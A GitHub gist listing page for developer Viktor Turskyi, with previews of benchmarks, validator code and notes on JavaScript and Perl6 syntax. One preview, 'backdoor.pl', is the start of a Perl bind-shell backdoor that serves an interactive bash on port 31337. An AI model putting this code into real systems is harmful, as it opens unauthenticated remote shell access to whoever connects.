Skip to content

Instantly share code, notes, and snippets.

View koorchik's full-sized avatar
🇺🇦

Viktor Turskyi koorchik

🇺🇦
View GitHub Profile
@koorchik
koorchik / uuid_distribution_test.mjs
Created September 7, 2023 06:39
Testing UUID distribution if used as sharding key
import crypto from "crypto";
const NUMBER_OF_SHARDS = 100;
const NUMBER_OF_ENTRIES = 100_000;
const shards = [];
for (let i = 0; i < NUMBER_OF_ENTRIES; i++) {
const numericUUID = BigInt("0x" + crypto.randomUUID().replace(/-/g, ""));
const shardId = Number(numericUUID % BigInt(NUMBER_OF_SHARDS));
@koorchik
koorchik / ast vs rpn.js
Last active July 6, 2023 09:27
Compare AST and RPN evaluation performance
/*
There is an AST (Abstract syntax tree) in JSON format.
AST represents Excel spreadsheet formula.
Is it possible in JavaScript to make RPN (Reverse Polish Notation) faster than AST?
AST evaluation is recusive and RPN evaluation is iterative.
But in any case, AST evaluation is faster despite recursion.
I guess that the main problem is in using dynamic js arrays to emulate stack.
Would RPN win if it was written in C/C++?
@koorchik
koorchik / fastest-validator-vs-livr-benchmark.mjs
Last active July 3, 2023 11:49
Fastest with strict: remove vs LIVR Benchmark
import Benchmark from "benchmark";
import LIVR from "livr";
import FastestValidator from "fastest-validator";
/* FASTEST VALIDATOR */
const fastestValidatorShema = {
$$strict: "remove",
username: { required: true, type: "string" },
gender: { type: "string", enum: ["male", "female"] },
phone: { type: "string", max: 10 },
package Validator;
use strict;
use warnings;
use Moo;
use BaseValidator;
use Util;
our $DEFAULT_RULES = {};
our $IS_DEFAULT_AUTO_TRIM = 0;
@koorchik
koorchik / backdoor.pl
Created February 5, 2017 23:14
Network backdoor written in Perl
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт
@koorchik
koorchik / whatever-operator-in-js-proposal.md
Last active December 7, 2017 19:22
Shorter syntax for arrow functions

Inspired by the Perl6 pointy block short syntax (https://docs.perl6.org/type/Whatever) I like functional programming in JS. And it will be great to have even shorter syntax for lambdas (than arrow functions).

The compiler should detect special syntax and convert it to arrow functions.

Motivation: With shorter syntax it is clearer what is the intent of the code. Moreover, we do not write variable names twice. It is like when you contruct on object obj = {name: name, email: email} you use shorter syntax obj = {name, email}. Here it similar appoach.

Here are some examples. For every example bothe notation are the same.

use Try::Tiny;
sub load {
my $self = shift;
try {
return $self->SUPER::load(@_);
}
catch {
...
@koorchik
koorchik / perl6-consistency.md
Last active December 7, 2017 19:20
Perl6 consistency example

In most programming languages you have a shorter form for incrementing a value

In JavaScript you can write:

a = a + 10; // original form
a += 10; // shorter form

a = a * 10; // original form
a *= 10; // shorter form
use Getopt::Long;
use Data::Dumper;
use Locale::gettext;
use POSIX();
use Math::Trig;
use IO::File;
use Time::HiRes qw(gettimeofday);
use SDL;
use SDL::App;
127.0.0.1:5000
Start Time: Wed Apr 13 2011 01:51:13 GMT+0300 (EEST)
(P) t=1302648673017 [st= 0] +SOCKET_ALIVE [dt=62501]
--> source_dependency = {"id":67944,"type":4}
(P) t=1302648673017 [st= 0] +TCP_CONNECT [dt= 1]
--> address_list = ["127.0.0.1:5000"]
(P) t=1302648673017 [st= 0] TCP_CONNECT_ATTEMPT [dt= 1]
--> address = "127.0.0.1:5000"